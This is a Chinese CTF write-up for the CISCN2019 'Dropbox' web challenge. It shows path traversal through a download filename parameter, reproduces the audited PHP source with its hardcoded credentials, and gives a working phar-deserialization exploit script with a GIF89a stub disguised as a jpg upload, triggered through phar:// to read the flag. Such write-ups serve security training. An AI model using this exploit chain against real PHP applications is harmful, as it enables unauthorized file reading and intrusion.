[CISCN2019 华北赛区 Day1 Web1]Dropbox

[CISCN2019 华北赛区 Day1 Web1]Dropbox
题目：
打开环境，注册个账号，然后登陆

这里我随便上传了张图片，但是什么回显都没有：

接着抓个上传包试试，但是找不到什么，接着就抓下载包：

可以看到最下面有个filename=，可以试着去目录跨越：

成功拿到源码，其他源码也是一样的方式去获取：

先来看class的内容：

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

大致思路就是要通过class.php里最后的file_get_contents函数取读取flag.txt的内容，回到调用它的close()函数，跟进close，发现在User类最后出现了close()

但是这个close()并没有被定义，所以不能直接跟进close()

继续审计发现在FileList类里存在call魔术方法

   public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

那这就很简单了，直接通过FileList对象去调用close()函数，但是FileList对象里并没有close方法，所以会调用call魔术方法，所以大概的思路就是

让filename=/flag.txt，再用call方法去将flag.txt写入results，在通过destruct将results写入result，再进入table，最后echo $table即可得到flag

接下来写脚本：

<?php
class FileList {
    private $files;
    public function __construct()
    {
        $this->files=array(new File());
    }
}
class File {
    public $filename='/flag.txt';
}
class User{
    public $db;
}
$yy=new FileList();
$a=new User();
$a->db=$yy;
$phar=new Phar('yy.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'
);
$phar->addFromString('text.txt','text');
$phar->setMetadata($a);
$phar->stopBuffering();
;?>

将文件后缀改为jpg，随后上传，最后再点击删除，抓包，将filename改为phar://yy.jpg即可